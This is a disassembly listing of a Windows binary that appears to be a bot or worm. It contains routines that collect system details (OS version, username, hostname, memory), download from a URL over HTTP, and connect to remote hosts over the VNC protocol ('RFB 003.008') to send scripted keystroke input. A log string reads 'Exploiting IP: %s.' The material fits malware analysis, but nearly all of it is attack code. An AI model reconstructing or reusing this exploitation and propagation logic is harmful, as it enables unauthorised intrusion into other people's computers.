cmp [ebp+var_C4], 5Ah
jnz short loc_41B052
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B016: ; CODE XREF: sub_41AF8F+33j
cmp [ebp+var_C8], 5
jnz short loc_41B052
cmp [ebp+var_C4], ebx
jnz short loc_41B030
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B030: ; CODE XREF: sub_41AF8F+96j
cmp [ebp+var_C4], 1
jnz short loc_41B042
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B042: ; CODE XREF: sub_41AF8F+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B059
loc_41B052: ; CODE XREF: sub_41AF8F+7Cj
; sub_41AF8F+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_41B059: ; CODE XREF: sub_41AF8F+73j
; sub_41AF8F+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B091
loc_41B062: ; CODE XREF: sub_41AF8F+61j
cmp [ebp+var_B8], bl
jz short loc_41B091
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+Dest]
push [ebp+var_4]
push offset aSS_5 ; "%s (%s)"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
add esp, 10h
mov [ebp+var_4], eax
loc_41B091: ; CODE XREF: sub_41AF8F+54j
; sub_41AF8F+D1j ...
mov ax, word_4383AC
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB8B4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41B0CA
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
cmp eax, ebx
jz short loc_41B0F3
push dword ptr [eax]
jmp short loc_41B0F8
; ---------------------------------------------------------------------------
loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B0F8: ; CODE XREF: sub_41AF8F+162j
lea eax, [ebp+var_3E4]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+FullPath]
pop ecx
push 104h
push eax
call ds:dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call ds:dword_427110 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_42710C ; GetTimeFormatA
push 20h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
call ds:dword_42719C ; GlobalMemoryStatus
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
lea eax, [ebp+Drive]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41ADD8
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+FullPath]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
call sub_41AED9
push edx
push eax
push offset asc_43AB9C ; "-"
push 200h ; Count
push [ebp+arg_0] ; Dest
call __snprintf
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AF8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p
; sub_401ACD+71F5p
Dst = byte ptr -8Ch
var_C = byte ptr -0Ch
Dest = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp dword_4CBABC, 0
jnz short loc_41B2AF
push 0
lea eax, [ebp+Dst]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB898 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41B298
lea eax, [ebp+Dst]
push offset aNotConnected ; "Not connected"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41B298: ; CODE XREF: sub_41B243+40j
test [ebp+var_C], 1
jz short loc_41B2A5
push offset aDialUp ; "Dial-up"
jmp short loc_41B2AA
; ---------------------------------------------------------------------------
loc_41B2A5: ; CODE XREF: sub_41B243+59j
push offset dword_43ACE4
loc_41B2AA: ; CODE XREF: sub_41B243+60j
lea eax, [ebp+Dest]
jmp short loc_41B2C7
; ---------------------------------------------------------------------------
loc_41B2AF: ; CODE XREF: sub_41B243+28j
mov esi, offset off_43ACE0
lea eax, [ebp+Dest]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+Dst]
pop ecx
push esi ; Format
loc_41B2C7: ; CODE XREF: sub_41B243+6Aj
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push eax
push offset asc_43AC9C ; "-"
push 200h ; Count
push [ebp+arg_0] ; Dest
call __snprintf
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo
var_65C = byte ptr -65Ch
var_55C = dword ptr -55Ch
var_35C = dword ptr -35Ch
Str = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
Dest = byte ptr -1C8h
Dst = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
Source = dword ptr -38h
Count = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43ADD0
call _memset
push edi ; Size
lea eax, [ebp+Dest]
push ebx ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+var_C8]
push ebx ; Val
push eax ; Dst
call _memset
push 100h ; Size
lea eax, [ebp+var_65C]
push ebx ; Val
push eax ; Dst
call _memset
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+Count], esi
push eax
lea eax, [ebp+Str]
push ebx
push eax ; Str
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
call dword_4CB8D0 ; InternetCrackUrlA
test eax, eax
jz loc_41B49C
cmp [ebp+Count], ebx
jbe short loc_41B3D9
push [ebp+Count] ; Count
lea eax, [ebp+Dst]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41B3D9: ; CODE XREF: sub_41B302+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B3F7
push [ebp+var_28] ; Count
lea eax, [ebp+Dest]
push [ebp+var_2C] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41B3F7: ; CODE XREF: sub_41B302+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B411
push [ebp+var_20] ; Count
lea eax, [ebp+var_C8]
push [ebp+var_24] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41B411: ; CODE XREF: sub_41B302+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B42B
push [ebp+var_18] ; Count
lea eax, [ebp+var_65C]
push [ebp+var_1C] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41B42B: ; CODE XREF: sub_41B302+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push esi
push eax
push dword_4CB984
call dword_4CB9A8 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41B4B4
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB99C ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B4BB
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB948 ; HttpSendRequestA
test eax, eax
jz short loc_41B495
push offset dword_43ADB4
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B495: ; CODE XREF: sub_41B302+18Aj
push offset unk_43AD78
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B49C: ; CODE XREF: sub_41B302+B7j
lea eax, [ebp+var_55C]
push offset asc_43AD5C ; "-"
push eax ; Dest
call _sprintf
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41B4CE
; ---------------------------------------------------------------------------
loc_41B4B4: ; CODE XREF: sub_41B302+153j
push offset unk_43AD30
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B4BB: ; CODE XREF: sub_41B302+17Bj
push offset asc_43AD00 ; "-"
loc_41B4C0: ; CODE XREF: sub_41B302+191j
; sub_41B302+198j ...
lea eax, [ebp+var_55C]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41B4CE: ; CODE XREF: sub_41B302+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41B4F9
push ebx ; int
lea eax, [ebp+var_55C]
push [ebp+var_1D0] ; int
push eax ; int
lea eax, [ebp+var_258]
push eax ; Str
push [ebp+var_35C] ; int
call sub_409869
add esp, 14h
loc_41B4F9: ; CODE XREF: sub_41B302+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_415D38
pop ecx
push esi
call dword_4CBA08 ; InternetCloseHandle
push [ebp+var_4]
call dword_4CBA08 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_41B302 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p
arg_0 = dword ptr 4
push esi
push 100h ; Size
mov esi, offset byte_4DBCCC
push 0 ; Val
push esi ; Dst
call _memset
add esp, 0Ch
push [esp+4+arg_0]
push offset aS_6 ; "%s"
push 0FFh ; Count
push esi ; Dest
call __snprintf
add esp, 10h
pop esi
retn
sub_41B52C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41B55B(int,char *Str,int)
sub_41B55B proc near ; CODE XREF: .text:0041B843p
; .text:0041B860p ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4DBDD4
lea edi, [ebp+var_C]
mov ax, word_43ADD4
movsd
movsb
mov esi, offset dword_4DBDCC
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, word_4346DC
movsd
mov [ebp+var_6], ax
mov ax, word_4CB88C
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_41B627
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+Str]
mov [ebp+arg_8], esi
loc_41B5AD: ; CODE XREF: sub_41B55B+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41B5CD
dec eax
jnz short loc_41B61B
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B5E1
; ---------------------------------------------------------------------------
loc_41B5CD: ; CODE XREF: sub_41B55B+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_6]
loc_41B5E1: ; CODE XREF: sub_41B55B+70j
push eax
push edi
call dword_4CBA24 ; send
push ebx ; Str
call _strlen
pop ecx
cmp eax, 2
push esi
jnz short loc_41B5FD
push 4
lea eax, [ebp+var_C]
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B5FD: ; CODE XREF: sub_41B55B+99j
push 5
lea eax, [ebp+var_14]
loc_41B602: ; CODE XREF: sub_41B55B+A0j
push eax
push edi
call dword_4CBA24 ; send
push esi
push ebx ; Str
call _strlen
pop ecx
push eax
push ebx
push edi
call dword_4CBA24 ; send
loc_41B61B: ; CODE XREF: sub_41B55B+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41B5AD
pop ebx
jmp short loc_41B69D
; ---------------------------------------------------------------------------
loc_41B627: ; CODE XREF: sub_41B55B+42j
dec eax
jz short loc_41B646
dec eax
jnz short loc_41B69D
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B65D
; ---------------------------------------------------------------------------
loc_41B646: ; CODE XREF: sub_41B55B+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_6]
loc_41B65D: ; CODE XREF: sub_41B55B+E9j
push eax
push edi
call dword_4CBA24 ; send
push [ebp+Str] ; Str
call _strlen
pop ecx
cmp eax, 2
push esi
jnz short loc_41B67B
push 4
lea eax, [ebp+var_C]
jmp short loc_41B680
; ---------------------------------------------------------------------------
loc_41B67B: ; CODE XREF: sub_41B55B+117j
push 5
lea eax, [ebp+var_14]
loc_41B680: ; CODE XREF: sub_41B55B+11Ej
push eax
push edi
call dword_4CBA24 ; send
push esi
push [ebp+Str] ; Str
call _strlen
pop ecx
push eax
push [ebp+Str]
push edi
call dword_4CBA24 ; send
loc_41B69D: ; CODE XREF: sub_41B55B+CAj
; sub_41B55B+D0j
pop edi
pop esi
leave
retn
sub_41B55B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 288h
push ebx
push esi
push edi
mov esi, offset aRfb003_008 ; "RFB 003.008\n"
lea edi, [ebp-38h]
mov ax, word_4346DC
movsd
movsd
movsd
movsb
mov esi, offset dword_43ADE8
lea edi, [ebp-1Ch]
movsw
movsb
mov esi, offset dword_4DBDD4
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_43ADE4
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_43ADE0
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_43ADDC
lea edi, [ebp-0Ch]
movsw
movsb
xor esi, esi
mov [ebp-6], ax
mov [ebp-16h], ax
mov ax, word ptr aR ; "r"
push esi
push 1
push 2
mov [ebp-18h], ax
xor edi, edi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41B724
push eax
call dword_4CBA6C ; closesocket
loc_41B724: ; CODE XREF: .text:0041B71Bj
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_4CBA14 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_4CB9D4 ; htons
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
test eax, eax
jnz loc_41B820
loc_41B75C: ; CODE XREF: .text:0041B7CEj
; .text:0041B805j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call _memset
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_4CB9EC ; recv
cmp eax, esi
jle loc_41B82E
cmp eax, 0FFFFFFFFh
jz loc_41B82E
mov eax, edi
sub eax, esi
jz short loc_41B7D0
dec eax
jz short loc_41B79E
dec eax
jz short loc_41B80A
jmp short loc_41B800
; ---------------------------------------------------------------------------
loc_41B79E: ; CODE XREF: .text:0041B797j
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-88h]
push eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-6]
push esi
push eax
call _strlen
pop ecx
push eax
lea eax, [ebp-6]
push eax
push ebx
call dword_4CBA24 ; send
push 2
pop edi
jmp short loc_41B75C
; ---------------------------------------------------------------------------
loc_41B7D0: ; CODE XREF: .text:0041B794j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-38h]
push esi
push eax
call _strlen
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_4CBA24 ; send
push 1
pop edi
loc_41B800: ; CODE XREF: .text:0041B79Cj
cmp edi, 3
jz short loc_41B82E
jmp loc_41B75C
; ---------------------------------------------------------------------------
loc_41B80A: ; CODE XREF: .text:0041B79Aj
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_41B82E
loc_41B820: ; CODE XREF: .text:0041B756j
; .text:0041B7B2j ...
push ebx
call dword_4CBA6C ; closesocket
xor eax, eax
jmp loc_41B9B7
; ---------------------------------------------------------------------------
loc_41B82E: ; CODE XREF: .text:0041B781j
; .text:0041B78Aj ...
push esi
lea eax, [ebp-16h]
push 1
push eax
push ebx
call dword_4CBA24 ; send
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_41B55B
mov esi, ds:dword_427080
add esp, 0Ch
mov edi, 3E8h
push edi
call esi ; Sleep
lea eax, [ebp-18h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
and dword ptr [ebp-4], 0
mov edi, offset byte_4DBCCC
push edi
call _strlen
test eax, eax
pop ecx
jbe short loc_41B8CE
loc_41B891: ; CODE XREF: .text:0041B8CCj
mov eax, [ebp-4]
movsx eax, byte_4DBCCC[eax]
push eax
push offset dword_43ADD8
lea eax, [ebp-20h]
push 3
push eax
call __snprintf
lea eax, [ebp-20h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push edi
call _strlen
cmp [ebp-4], eax
pop ecx
jb short loc_41B891
loc_41B8CE: ; CODE XREF: .text:0041B88Fj
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 0FA0h
call esi ; Sleep
push 2
pop edi
loc_41B8E7: ; CODE XREF: .text:0041B8FEj
lea eax, [ebp-14h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 12Ch
call esi ; Sleep
dec edi
jnz short loc_41B8E7
mov edi, 7D0h
push edi
call esi ; Sleep
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
xor edi, edi
lea eax, [ebp-14h]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 190h
call esi ; Sleep
mov dword ptr [ebp-4], 2
loc_41B938: ; CODE XREF: .text:0041B950j
push 258h
call esi ; Sleep
lea eax, [ebp-0Ch]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
dec dword ptr [ebp-4]
jnz short loc_41B938
push ebx
call dword_4CBA6C ; closesocket
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-288h]
push 1FFh
push eax
call __snprintf
push edi
lea eax, [ebp-288h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
mov eax, [ebp+0B0h]
add esp, 28h
shl eax, 6
inc dword_431800[eax]
push 1
lea eax, dword_431800[eax]
pop eax
loc_41B9B7: ; CODE XREF: .text:0041B829j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 10h
; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40A928+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41BAF7
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_41BABD
push esi
call ___sbh_find_block
pop ecx
test eax, eax
push esi
jz short loc_41BAE9
push eax
call sub_41E742
pop ecx
pop ecx
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BABD: ; CODE XREF: sub_41BA91+14j
cmp eax, 2
jnz short loc_41BAE8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_41BAE8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41F4C9
add esp, 0Ch
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj
; sub_41BA91+44j
push esi
loc_41BAE9: ; CODE XREF: sub_41BA91+20j
push 0
push dword_4DD384
call ds:dword_42714C ; RtlFreeHeap
loc_41BAF7: ; CODE XREF: sub_41BA91+Aj
; sub_41BA91+2Aj ...
pop esi
leave
retn
sub_41BA91 endp
; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41BBE2(void *Src,size_t Size)
sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep
; __onexit+35p
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+Src], 0
push ebx
push esi
push edi
jnz short loc_41BBFD
push [ebp+Size] ; Size
call _malloc
pop ecx
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj
mov esi, [ebp+Size]
test esi, esi
jnz short loc_41BC12
push [ebp+Src]
call sub_41BA91
pop ecx
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BC12: ; CODE XREF: sub_41BBE2+20j
mov eax, dword_4DD388
cmp eax, 3
jnz loc_41BD22
loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BCFE
push [ebp+Src]
call ___sbh_find_block
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41BCD9
cmp esi, dword_4DD380
ja short loc_41BC92
mov edi, [ebp+Src]
push esi
push edi
push ebx
call ___sbh_resize_block
add esp, 0Ch
test eax, eax
jnz short loc_41BC8E
push esi
call ___sbh_alloc_block
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BC92
mov ebx, [ebp+Src]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BC72
mov eax, esi
loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj
push eax ; Size
push ebx ; Src
push edi ; Dst
call _memcpy
push ebx
call ___sbh_find_block
push [ebp+Src]
mov ebx, eax
push ebx
call sub_41E742
add esp, 18h
loc_41BC8E: ; CODE XREF: sub_41BBE2+74j
test edi, edi
jnz short loc_41BCD5
loc_41BC92: ; CODE XREF: sub_41BBE2+62j
; sub_41BBE2+81j
test esi, esi
jnz short loc_41BC99
push 1
pop esi
loc_41BC99: ; CODE XREF: sub_41BBE2+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BCD5
mov ecx, [ebp+Src]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41BCC1
mov eax, esi
loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj
push eax ; Size
push ecx ; Src
push edi ; Dst
call _memcpy
push [ebp+Src]
push ebx
call sub_41E742
add esp, 14h
loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj
; sub_41BBE2+D0j
test ebx, ebx
jnz short loc_41BCFA
loc_41BCD9: ; CODE XREF: sub_41BBE2+56j
test esi, esi
jnz short loc_41BCE0
push 1
pop esi
loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+Src]
push 0
push dword_4DD384
call ds:dword_4271A0 ; RtlReAllocateHeap
mov edi, eax
loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j
test edi, edi
jnz short loc_41BD1B
loc_41BCFE: ; CODE XREF: sub_41BBE2+43j
cmp dword_4DBE48, 0
jz short loc_41BD1B
push esi
call __callnewh
test eax, eax
pop ecx
jnz loc_41BC20
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj
; sub_41BBE2+123j ...
mov eax, edi
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BD22: ; CODE XREF: sub_41BBE2+38j
cmp eax, 2
jnz loc_41BE3D
cmp esi, 0FFFFFFE0h
ja short loc_41BD3F
test esi, esi
jbe short loc_41BD3C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD3C: ; CODE XREF: sub_41BBE2+150j
push 10h
pop esi
loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj
; sub_41BBE2+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BE1F
lea eax, [ebp+Size]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+Src]
call sub_41F472
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41BE03
cmp esi, dword_43CE74
jnb short loc_41BDC7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+Size]
push [ebp+var_4]
call sub_41F83A
add esp, 10h
test eax, eax
jz short loc_41BD8D
mov edi, [ebp+Src]
jmp short loc_41BDBF
; ---------------------------------------------------------------------------
loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j
push edi
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BDC7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDA6
mov eax, esi
loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j
push eax ; Size
push [ebp+Src] ; Src
push edi ; Dst
call _memcpy
push ebx
push [ebp+Size]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j
test edi, edi
jnz loc_41BD1B
loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj
; sub_41BBE2+1B6j
push esi
push 0
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BE1F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDE8
mov eax, esi
loc_41BDE8: ; CODE XREF: sub_41BBE2+202j
push eax ; Size
push [ebp+Src] ; Src
push edi ; Dst
call _memcpy
push ebx
push [ebp+Size]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
jmp short loc_41BE17
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj
push esi
push [ebp+Src]
push 0
push dword_4DD384
call ds:dword_4271A0 ; RtlReAllocateHeap
